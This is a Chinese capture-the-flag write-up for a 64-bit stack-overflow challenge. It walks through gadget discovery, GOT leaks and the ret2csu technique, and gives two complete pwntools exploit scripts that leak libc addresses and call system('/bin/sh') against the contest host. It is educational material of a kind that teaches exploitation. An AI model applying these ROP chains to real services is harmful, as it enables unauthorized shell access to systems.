【PWN】HappyNewYearCTF_8_ret2csu

HappyNewYearCTF_8_ret2csu

    • 题目分析
    • [Exp1: ret2libc](#Exp1: ret2libc)
    • [Exp2: ret2csu](#Exp2: ret2csu)

题目地址:https://ctf.cssec.cc/games/25/challenges

Author: Sonder

Difficulty: Normal

Category: ROP


  1. 泄露已被解析的函数地址,从而计算出libc基地址
  2. 通过libc基地址计算出system()'/bin/sh'的真实地址
  3. 通过ROP劫持程序执行流

题目分析

首先还是老规矩,看下保护情况,可见无canary,无PIE, 开搞!

拖进IDA,我们来看下逻辑,可以看到核心代码如下。

  • 输出HelloWorld
  • 调用vul_func,然后read

这里溢出点也是很明确的。

然后开始测试,通过cyclic,获取其溢出点位置

复制代码
pwndbg> cyclic -l 0x6161616161616172
Finding cyclic pattern of 8 bytes: b'raaaaaaa' (hex: 0x7261616161616161)
Found at offset 136

可以得到其偏移为136。进一步,按照上一篇文章中的思路,我们获取到plt和got

复制代码
➜  8_ret2csu objdump -d ./8_ret2csu | grep -n "<write@plt>"

23:0000000000400430 <write@plt>:
152:  4005a5:   e8 86 fe ff ff          call   400430 <write@plt>

最终可得:

py 复制代码
read_got  = p64(0x601020)
write_got = p64(0x601018)

write_plt = p64(0x400430)

然后继续来看pop链,毕竟我们需要进一步构造Write的参数

看了下这题好像有点问题,正常来说ret2csu是为了控制RDX,但本题RDX默认给的200,也就是足够溢出,所以没管他,那只需要构造RDI、RSI即可。

RDI = 1

RSI = write@got

其实相比较于上题就多了一个RDI的构造,通过ROPgadget,我们也能轻易找到pop rdi。

bash 复制代码
➜  8_ret2csu ROPgadget --binary 8_ret2csu | grep rdi
/usr/local/bin/ROPgadget:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  __import__('pkg_resources').run_script('ropgadget==7.7', 'ROPgadget')
0x0000000000400546 : cmp dword ptr [rdi], 0 ; jne 0x400550 ; jmp 0x4004e0
0x0000000000400545 : cmp qword ptr [rdi], 0 ; jne 0x400550 ; jmp 0x4004e0
0x0000000000400623 : pop rdi ; ret

Exp1: ret2libc

那综上所述,题目就好做了,直接开搞,照着上一题的脚本,照猫画虎,详细注释版如下:

py 复制代码
from pwn import *

# =======================
# 基础环境配置
# =======================

# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']

# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
context.log_level = 'debug'

HOST = 'challenges.ctf.cssec.cc'
PORT = 32794

# 远程环境(比赛 / 实际利用)
r = remote(HOST, PORT)

# 本地调试(需要时切换)
# r = process('./8_ret2csu')

# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x400586
# c
# ''')

# =======================
# ROP 相关地址准备
# =======================

# GOT 表项:用于泄露 libc 中真实地址
read_got  = p64(0x601020)
write_got = p64(0x601018)

# write@plt:程序中 write 的 PLT 跳板(可执行入口)
write_plt = p64(0x400430)

# 常用寄存器控制 gadget
pop_rdi = p64(0x400623)  # pop rdi ; ret ------ 设置第一个参数
pop_rsi = p64(0x400621)  # pop rsi ; pop r15 ; ret ------ 设置第二个参数
pop_ret = p64(0x400419)  # ret ------ 用于 64 位栈对齐

# main 函数地址
# 每次泄露完成后返回 main,方便再次触发输入
main_func = p64(0x400587)

# =======================
# 第一阶段:泄露 write@got
# =======================

# 等待程序初始输出
r.recvuntil('Hello, World\n')

# padding:覆盖到返回地址
exp = b'a' * 136

# 设置 RSI = write@got
# 让 write 输出 write@got 中存放的真实地址
exp += pop_rsi
exp += write_got
exp += p64(0xcc)     # 填充 pop r15,对利用无影响

# 设置 RDI = 1(stdout)
exp += pop_rdi
exp += p64(0x1)

# 调用 write(1, write@got, ?)
exp += write_plt

# write 执行完后返回 main,继续下一轮输入
exp += main_func

# 发送 payload
r.sendline(exp)

# 接收 write 泄露的地址(这里直接读取 8 字节)
write_address = u64(r.recvn(8))

# =======================
# 第二阶段:泄露 read@got
# =======================

# 再次等待程序输出
r.recvuntil('Hello, World\n')

exp = b'a' * 136

# 设置 RSI = read@got
exp += pop_rsi
exp += read_got
exp += p64(0xcc)     # 填充 pop r15

# 设置 RDI = 1(stdout)
exp += pop_rdi
exp += p64(0x1)

# 调用 write(1, read@got, ?)
exp += write_plt

# 返回 main,保持程序可控
exp += main_func

# 发送 payload
r.sendline(exp)

# 接收 read 的真实地址
read_address = u64(r.recvn(8))

# =======================
# 输出泄露结果
# =======================

print(f'write_address: {hex(write_address)}')
print(f'read_address: {hex(read_address)}')

# =======================
# 手动输入 libc 偏移
# =======================
# 偏移来自对应版本的 libc(readelf / nm / pwndbg / libc database)

# read 在 libc 中的偏移
read_libc   = int(input("read:"), 16)

# system 在 libc 中的偏移
system_libc = int(input("system:"), 16)

# "/bin/sh" 字符串在 libc 中的偏移
binsh_libc  = int(input("binsh:"), 16)

# 通过 read 的真实地址计算 libc 基址
base_addr = read_address - read_libc

# 计算 system 和 "/bin/sh" 的真实地址
system_addr = base_addr + system_libc
binsh_addr  = base_addr + binsh_libc

print(f'system_addr: {hex(system_addr)}')
print(f'binsh_addr: {hex(binsh_addr)}')

# =======================
# 第三阶段:ret2libc 获取 shell
# =======================

exp = b'a' * 136

# 等待程序再次输出
r.recvuntil(b'Hello, World\n')

# 留一个 input,方便此时 attach gdb 或手动确认状态
input()

# 设置 RDI = "/bin/sh" 的地址
exp += pop_rdi
exp += p64(binsh_addr)

# 插入一个 ret,用于 64 位栈 16 字节对齐
exp += pop_ret

# 跳转到 system("/bin/sh")
exp += p64(system_addr)

# (可选)system 返回后回到 main,避免程序立即崩溃
exp += main_func

# 发送最终 payload
r.sendline(exp)

# =======================
# 进入交互模式,获取 shell
# =======================
r.interactive()

Exp2: ret2csu

当然嘛,主要 为了学习,那肯定不能止步于此,继续来学习,什么是ret2csu,其思想是怎样呢?

根据CTFWiki介绍,在x64下,默认存在libc初始化的方法,即__libc_csu_init,其内部包含了众多可被使用的Gadgets。

复制代码
 objdump -d ./8_ret2csu | grep -n "__libc_csu_init"

首先我们先定位到其位置,可以看到该函数做了很多栈操作。

在这里,我们利用思路通常是

  1. 调用loc_400616(即第三段)
  2. ret到loc_400600 (即第二段)
  3. 构造rbx,rbp,使其继续执行第三段,并ret
    • jnz 是条件跳转指令,当上一次比较结果"不为 0"时跳转。

思路有了,我们来看下参数怎么布置,首先分析一下pop链

assembly 复制代码
 loc_400600:                             
	mov     rdx, r13
	mov     rsi, r14
	mov     edi, r15d
	call    ds:[r12+rbx*8]
	add     rbx, 1
	cmp     rbx, rbp
	jnz     short loc_400600

 loc_400616:                             
	add     rsp, 8
	pop     rbx
	pop     rbp
	pop     r12
	pop     r13
	pop     r14
	pop     r15
	retn

分析后,发现需要的参数如下:

sh 复制代码
# 因为rbx+1后会和rbp进行比较,所以必须
# rbx = rbp - 1
rbx = 0
rbp = 1
# 构造call
r12+rbx*8 = 0x601018# write@got
r12 = 0x601018

RSI = 0x601018 # write@got  <- mov     rsi, r14
RDI = 1        # mov     edi, r15d
RDX = 8        # mov     rdx, r13

构造如下,即可实现调用csu,进而输出write@got

py 复制代码
exp += p64(0x400616)   # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33)     # add     rsp, 8; 
exp += p64(0x0)        # pop     rbx  ; rbx = 0
exp += p64(0x1)        # pop     rbp  ; rbp = 1
exp += p64(write_got)  # pop     r12  ; r12 = 0x601018  ; 需要调用的函数
exp += p64(0x8)        # pop     r13  ; rdx = 8
exp += p64(write_got)  # pop     r14  ; rsi = 0x601018  ; 需要输出的参数
exp += p64(0x1)        # pop     r15  ; rdi = 1
exp += p64(0x400600)   # ret addr -> csu第二阶段,即第一部分
exp += p64(0xcc) * 7   # 用于csu第二部分pop, 确保值不影响

同理,其实read@got,也可以通过这种方式输出,我们只需要改rsi即可。在这里我们有两个选择

  1. rsu执行完后,ret到main,再次溢出一次rsu输出read
  2. rsu执行完后,ret到rsu第一部分,直接输出read

在这里,我们选择第二种,这样会省很多步骤,也就是我们将上述代码最后一行pop 7个废弃内容,改成我们要布置的栈即可。最终gadgets如下,可成功输出write与read的真实地址

py 复制代码
exp += p64(0x400616)   # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33)     # add     rsp, 8; 
exp += p64(0x0)        # pop     rbx  ; rbx = 0
exp += p64(0x1)        # pop     rbp  ; rbp = 1
exp += write_got       # pop     r12  ; r12 = 0x601018 
exp += p64(0x8)        # pop     r13  ; rdx = 8
exp += write_got       # pop     r14  ; rsi = write_got
exp += p64(0x1)        # pop     r15  ; rdi = 1

exp += p64(0x400600)   # ret addr -> csu第二阶段,即第一部分
# 清栈,顺道出read_got
exp += p64(0x5a33)     # add     rsp, 8; 
exp += p64(0x0)        # pop     rbx  ; rbx = 0
exp += p64(0x1)        # pop     rbp  ; rbp = 1
exp += write_got        # pop     r12  ; r12 = 0x601018 
exp += p64(0x8)        # pop     r13  ; rdx = 8
exp += read_got        # pop     r14  ; rsi = read_got
exp += p64(0x1)        # pop     r15  ; rdi = 1

exp += p64(0x400600)   # ret addr -> csu第二阶段,即第一部分
exp += p64(0x1) *7     # pop     r15  ; rdi = 1


# write 执行完后返回 main,继续下一轮输入
exp += main_func

如上图,可以看到正常运行了,那接下来,按照exp1继续补后面内容即可,完整脚本如下:

py 复制代码
from pwn import *

# =======================
# 基础环境配置
# =======================

# 指定 pwntools 在 tmux 中分屏打开 gdb
context.terminal = ['tmux', 'splitw', '-h']

# 打开 debug 日志,方便观察 send / recv / ROP 执行过程
# context.log_level = 'debug'

HOST = 'challenges.ctf.cssec.cc'
PORT = 32794

# 远程环境(比赛 / 实际利用)
# r = remote(HOST, PORT)

# 本地调试(需要时切换)
r = process('./8_ret2csu')

# =======================
# gdb 调试(可选)
# =======================
# 在关键地址下断点,观察 ROP 执行情况
# gdb.attach(r, gdbscript='''
# b *0x400616
# c
# ''')

# =======================
# ROP 相关地址准备
# =======================

# GOT 表项:用于泄露 libc 中真实地址
read_got  = p64(0x601020)
write_got = p64(0x601018)

# write@plt:程序中 write 的 PLT 跳板(可执行入口)
write_plt = p64(0x400430)

# 常用寄存器控制 gadget
pop_rdi = p64(0x400623)  # pop rdi ; ret ------ 设置第一个参数
pop_rsi = p64(0x400621)  # pop rsi ; pop r15 ; ret ------ 设置第二个参数
pop_ret = p64(0x400419)  # ret ------ 用于 64 位栈对齐

# main 函数地址
# 每次泄露完成后返回 main,方便再次触发输入
main_func = p64(0x400587)



# =======================
# 第一阶段:泄露 write@got
# =======================

# 等待程序初始输出
r.recvuntil(b'Hello, World\n')

# padding:覆盖到返回地址
exp = b'a' * 136



exp += p64(0x400616)   # jmp addr -> csu第一阶段,即第二部分
exp += p64(0x5a33)     # add     rsp, 8; 
exp += p64(0x0)        # pop     rbx  ; rbx = 0
exp += p64(0x1)        # pop     rbp  ; rbp = 1
exp += write_got       # pop     r12  ; r12 = 0x601018 
exp += p64(0x8)        # pop     r13  ; rdx = 8
exp += write_got       # pop     r14  ; rsi = write_got
exp += p64(0x1)        # pop     r15  ; rdi = 1

exp += p64(0x400600)   # ret addr -> csu第二阶段,即第一部分
# 清栈,顺道出read_got
exp += p64(0x5a33)     # add     rsp, 8; 
exp += p64(0x0)        # pop     rbx  ; rbx = 0
exp += p64(0x1)        # pop     rbp  ; rbp = 1
exp += write_got       # pop     r12  ; r12 = 0x601018 
exp += p64(0x8)        # pop     r13  ; rdx = 8
exp += read_got        # pop     r14  ; rsi = read_got
exp += p64(0x1)        # pop     r15  ; rdi = 1

exp += p64(0x400600)   # ret addr -> csu第二阶段,即第一部分
exp += p64(0x1) *7     # pop     r15  ; rdi = 1


# write 执行完后返回 main,继续下一轮输入
exp += main_func

# 发送 payload
r.sendline(exp)

# 接收 write 泄露的地址(这里直接读取 8 字节)
write_address = u64(r.recvn(8))
print(f'write_address: {hex(write_address)}')

read_address = u64(r.recvn(8))
print(f'read_address: {hex(read_address)}')


# =======================
# 手动输入 libc 偏移
# =======================
# 偏移来自对应版本的 libc(readelf / nm / pwndbg / libc database)

# read 在 libc 中的偏移
read_libc   = int(input("read:"), 16)

# system 在 libc 中的偏移
system_libc = int(input("system:"), 16)

# "/bin/sh" 字符串在 libc 中的偏移
binsh_libc  = int(input("binsh:"), 16)

# 通过 read 的真实地址计算 libc 基址
base_addr = read_address - read_libc

# 计算 system 和 "/bin/sh" 的真实地址
system_addr = base_addr + system_libc
binsh_addr  = base_addr + binsh_libc

print(f'system_addr: {hex(system_addr)}')
print(f'binsh_addr: {hex(binsh_addr)}')

# =======================
# 第三阶段:ret2libc 获取 shell
# =======================

exp = b'a' * 136

# 等待程序再次输出
r.recvuntil(b'Hello, World\n')

# 留一个 input,方便此时 attach gdb 或手动确认状态
input()

# 设置 RDI = "/bin/sh" 的地址
exp += pop_rdi
exp += p64(binsh_addr)

# 插入一个 ret,用于 64 位栈 16 字节对齐
# exp += pop_ret

# 跳转到 system("/bin/sh")
exp += p64(system_addr)

# (可选)system 返回后回到 main,避免程序立即崩溃
exp += main_func

# 发送最终 payload
r.sendline(exp)

# =======================
# 进入交互模式,获取 shell
# =======================
r.interactive()
相关推荐
啥都想学点2 小时前
kali 基础介绍(Command and Control、Exfiltration)
安全·网络安全
Magnum Lehar2 小时前
macos信息采集器appledataharvester-3
macos·网络安全·系统安全
B2_Proxy2 小时前
IP 来源合规性,正在成为全球业务的隐性门槛
网络·爬虫·网络协议·安全
Yana.nice3 小时前
openssl将证书从p7b转换为crt格式
java·linux
浩浩测试一下3 小时前
WAF绕过之编码绕过特性篇
计算机网络·web安全·网络安全·网络攻击模型·安全威胁分析·安全架构
AI逐月3 小时前
tmux 常用命令总结:从入门到稳定使用的一篇实战博客
linux·服务器·ssh·php
小白跃升坊3 小时前
基于1Panel的AI运维
linux·运维·人工智能·ai大模型·教学·ai agent
跃渊Yuey4 小时前
【Linux】线程同步与互斥
linux·笔记
舰长1154 小时前
linux 实现文件共享的实现方式比较
linux·服务器·网络